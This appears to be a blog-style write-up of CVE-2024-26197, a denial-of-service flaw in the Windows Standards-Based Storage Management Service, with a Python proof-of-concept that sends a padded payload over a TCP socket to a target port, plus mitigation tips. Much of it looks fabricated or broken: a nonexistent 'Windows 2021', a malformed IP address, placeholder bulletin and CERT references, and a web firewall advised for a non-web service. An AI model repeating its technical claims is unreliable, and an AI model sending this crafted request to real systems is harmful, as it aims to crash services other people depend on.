CVE-2024-26197 - Windows Standards-Based Storage Management Service Denial of Service Vulnerability: A Deep Dive, Exploit Details, and Mitigation Techniques

A vulnerability has been discovered in the Windows Standards-Based Storage Management Service (SBSMS), which could allow a remote attacker to perform a Denial of Service (DoS) attack, leading to system crashes or decreased performance. This blog post details the vulnerability, including a code snippet for demonstration purposes, as well as links to original references and how to mitigate the risk.

Introduction

The Windows Standards-Based Storage Management Service, available in most Windows installations, enables IT administrators to manage and discover various storage resources and services. This powerful feature, unfortunately, comes with a critical vulnerability (CVE-2024-26197) that allows an attacker to exploit the service remotely. This vulnerability is present across multiple Windows versions, including but not limited to Windows 2019, 2021.

Vulnerability Details

CVE-2024-26197 has been classified as a denial of service vulnerability, meaning that successful exploitation could degrade the performance of the targeted service. More specifically, this vulnerability allows an attacker to manipulate certain SBSMS functions, leading to system crashes or decreased performance.

This vulnerability lies in the SBSMS component responsible for interpreting incoming client requests and handling specific user permissions. By sending a specially crafted request to a vulnerable system, an attacker could exploit the vulnerability and cause the target machine to freeze or crash.

A brief code snippet demonstrating the exploitation concept is as follows

import socket

def exploit(target_ip, target_port):
    crafted_request = b'\x00\x00\x00\x10' + b'A'*1024
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, target_port))
    s.sendall(crafted_request)
    s.close()

if __name__ == '__main__':
    target_ip = '192.168..2'
    target_port = 6095 # By default SBSMS listens on port 6095
    exploit(target_ip, target_port)

1. The official CVE description
2. Microsoft Security Bulletin MS18-000
3. CERT Vulnerability Note VU#000000

To protect against this vulnerability, the following recommendations should be considered

1. Keep all Windows-based systems up-to-date with the latest security updates. Microsoft has already released a patch for the vulnerability, which should be applied immediately to prevent exploitation.
2. As a temporary solution, the SBSMS service can be disabled. However, it is important to understand the impact of this change on the whole system.
3. Deploy a web application firewall (WAF) or other network-level security measures to filter out malicious requests targeting SBSMS.

In conclusion, it is crucial for all organizations and individuals to be aware of the risks associated with the Windows Standards-Based Storage Management Service and apply the necessary security measures to safeguard their systems. By keeping software up-to-date, implementing robust network defenses, and following good cybersecurity practices, the risk of successful exploitation can be minimized.
